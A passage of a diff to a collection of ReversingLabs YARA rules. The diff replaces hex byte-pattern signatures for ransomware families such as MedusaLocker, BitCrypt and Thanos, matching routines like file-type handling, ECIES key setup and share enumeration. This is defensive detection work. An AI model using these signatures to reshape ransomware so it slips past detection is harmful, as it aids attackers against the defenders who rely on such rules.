-            50 6A ?? 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 51 BA
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
-            FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 83 7B ?? ?? 72 ?? 8B 1B FF 74 24 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? FF
-            74 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 4C 24
-            ?? 8B 44 24 ?? 5F 89 01 8B C6 8B 8C 24 ?? ?? ?? ?? 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5
-            5D C3
+		$ol_do_filetypes_2 = {
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? FF 75 ?? 8D 4D ?? 89 5D ?? 50
+            8D 85 ?? ?? ?? ?? 89 5D ?? 50 53 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8
+            ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 8D 75 ?? 50 E8 ?? ??
+            ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 58 89 45 ?? 89 5D ?? 88 5D ?? 89 45 ?? 89
+            5D ?? 88 5D ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 8B 39 E9 00 01 00 00 8B 77 ??
+            8D 47 ?? 89 45 ?? 3B 77 ?? 0F 84 EC 00 00 00 8B F8 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 50 8D 4D ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 4D
         }
-		$enum_shares = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 75 ?? 8B 45 ?? 8D 4D ?? 51 50
-            6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ??
-            ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            0F 1F 40 ?? 33 DB 39 5D ?? 0F 8E ?? ?? ?? ?? 83 C7 ?? 66 90 F7 47 ?? ?? ?? ?? ?? 74
-            ?? 8D 47 ?? 89 45 ?? 8B 06 8B 48 ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8D 55 ?? 52 FF 50
-            ?? E9 ?? ?? ?? ?? 8B 17 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 8D 70 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C6 D1 F8 83 F8 ?? 77 ?? 8D 34 00
-            89 45 ?? 56 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 44 35 ?? EB ?? 52 C6
-            45 ?? ?? 8D 4D ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ??
-            50 8B 4E ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 83 C7 ??
-            3B 5D ?? 0F 8C ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 57 8D 45 ?? C7
-            45 ?? ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 FF 15 ??
-            ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D
-            ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+		$ol_do_filetypes_3 = {
+            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ??
+            89 65 ?? 8D 45 ?? 83 EC ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
+            81 C4 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ??
+            ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 83 C4 ?? 3B 77 ?? 0F
+            85 1C FF FF FF 8B 4D ?? 8B 7D ?? 8B 3F 89 7D ?? 3B F9 0F 85 F5 FE FF FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45
+            ?? ?? 8D 85 ?? ?? ?? ?? 89 65 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ?? ?? ?? ?? C6 45
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B
+            CC E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 33 F6 8D 8D
+            ?? ?? ?? ?? 53 46 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 53 56 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ??
+            ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C3
+        }
+		$ol_ecies_key_1 = {
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 8B F9 33 DB 89 5D ?? 8D 8D ?? ?? ?? ?? 89 7D ?? 89 5D ?? E8 ??
+            ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 46 8D 8D ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 89 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B
+            CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
+            ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 50 56 FF 75 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 0F 85 40 03 00 00 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B B4 05 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 50 8B 85 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 FF 56 ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BB ??
+            ?? ?? ?? 8D 4D ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 83 7D ?? ?? 8D 4D ?? 8B F0
+            0F 43 4D ?? 51 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B 06 52 8B 48 ?? 03 CE 8B 01 FF 50 ??
+            C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 0D 8B 01 6A ?? 8B 40 ?? 03 C8 8B 01 FF 10 33 F6 C6 45 ?? ?? 56 6A ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 83 EC ?? 8B CC 53 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
+        }
+		$ol_ecies_key_2 = {
+            56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 53
+            E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45
+            ?? ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ??
+            56 E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56
+            E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 33 F6 C6 45 ?? ?? 56 50 8D 4D ?? E8 ?? ??
+            ?? ?? 56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B CC 89 65 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 53 E8 ??
+            ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ??
+            56 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+        }
+		$ol_ecies_key_3 = {
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB 30 83 EC ?? 8D 55 ?? 8B CC 89 65 ?? E8
+            ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC BB ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 51 8D 4F ??
+            E8 ?? ?? ?? ?? 8D 77 ?? C7 07 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 53 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 46 ?? C6 45 ?? ?? 85 C0 74 05 8D 4E ?? EB 02 33 C9 8D 55 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 8B 06 8B CE FF 50 ?? 6A ?? 68 ?? ?? ?? ?? 8B 08 8B 49 ?? 03 C8 8B 01 FF 50 ?? 53 E8 ?? ?? ?? ?? 59 6A ??
+            6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 64 89 0D ?? ?? ?? ?? 5B
+            8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files and $encrypt_files and $enum_shares)
+		uint16(0)==0x5A4D and (($ol_do_filetypes_1 and $ol_do_filetypes_2 and $ol_do_filetypes_3) and ($ol_ecies_key_1 and $ol_ecies_key_2 and $ol_ecies_key_3))
 }
 rule REVERSINGLABS_Win32_Ransomware_Medusalocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
@@ -28683,8 +30500,8 @@ rule REVERSINGLABS_Win32_Ransomware_Medusalocker : TC_DETECTION MALICIOUS MALWAR
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.MedusaLocker.yara#L1-L174"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.MedusaLocker.yara#L1-L174"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "73f915d476d1411d2e008d00c5ffa03596e3b62bcdbc4d91dc7226599a066c08"
 		score = 75
 		quality = 90
@@ -28827,20 +30644,18 @@ rule REVERSINGLABS_Win32_Ransomware_Medusalocker : TC_DETECTION MALICIOUS MALWAR
 	condition:
 		uint16(0)==0x5A4D and ($kill_processes_call) and ($kill_processes) and ($enum_resources) and ( all of ($search_files_*)) and ( all of ($encrypt_files_p*)) and ($enum_resources_call)
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Ransomware_Bitcrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Thanos : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects BitCrypt ransomware."
+		description = "Yara rule that detects Thanos ransomware."
 		author = "ReversingLabs"
-		id = "f00a0fd8-31a9-5ee6-b560-09ccf6fe490b"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "e607255d-45a6-573d-956e-f6faa2aa7e9f"
+		date = "2021-08-12"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BitCrypt.yara#L3-L112"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "66cfe16a182e7f20d6358be9569ada5e6c36c94d44781d8c741638e1b174d44e"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara#L1-L106"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f6bc0c2188a04d2fb2a82a6b6d6cdf7763c32047bec725fe07f01415edf0b4cd"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -28848,106 +30663,97 @@ rule REVERSINGLABS_Win32_Ransomware_Bitcrypt : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "BitCrypt"
+		tc_detection_name = "Thanos"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$bc_bcdedit = {
-            55 8B EC 6A ?? 53 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3
-            E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45
-            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
-            ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? C3
-        }
-		$bc_enum_drives_a_z = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 D2 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B F0 33 C0 55 68 ?? ?? ??
-            ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 06 B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
-            8D 45 ?? B1 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 E8 ?? 75 1B 8D 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ??
-            ?? 8B 06 8B 08 FF 51 ?? 43 80 FB ?? 0F 85 65 FF FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C3
-        }
-		$bc_do_extensions_1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D
-            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 7D ?? 8B 5D ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ??
-            ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 81 01 00 00 E8 ?? ?? ?? ?? BA ??
-            ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B F0 8B C3 8B 14 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
-            50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            85 C0 75 C8 EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B
-            C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 C8 FF 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? DB 85 ?? ?? ?? ?? 83 C4 ?? DB 3C
-        }
-		$bc_do_extensions_2 = {
-            24 9B 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B C7 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 13 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 17 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B3 ?? EB 02 33 DB 33 C0 5A 59 59 64 89 10 EB 0C E9 ?? ?? ?? ?? 33 DB E8 ?? ??
-            ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB D0 8B C3 5F 5E 5B 8B E5 5D C2
-        }
-		$bc_do_files_1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 8B F0
-            8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B3 ?? 8B 06 E8 ?? ?? ?? ??
-            89 45 ?? 8B 16 8D 85 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B F8 85 FF 0F 85 91 00 00 00 F6 85 ?? ?? ?? ?? ?? 75 73 56 8D B5 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A5
-            5E 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 33 D2 E8 ?? ?? ?? ?? 83 C4 ?? DD 1C 24 9B 8D 45 ?? E8
-            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 36 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ??
-            ?? ?? 8B 45 ?? 8B 40 ?? 8B 00 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 6F FF FF FF 8D 85 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 84 DB 0F 84 B7 00 00 00 8B 16 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D
+		$find_files_p1 = {
+            6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD
+            ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ??
+            28 ?? ?? ?? ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08
+            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08
+            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11
+            ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11
+            ?? 6F ?? ?? ?? ?? 00 DC 00 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38
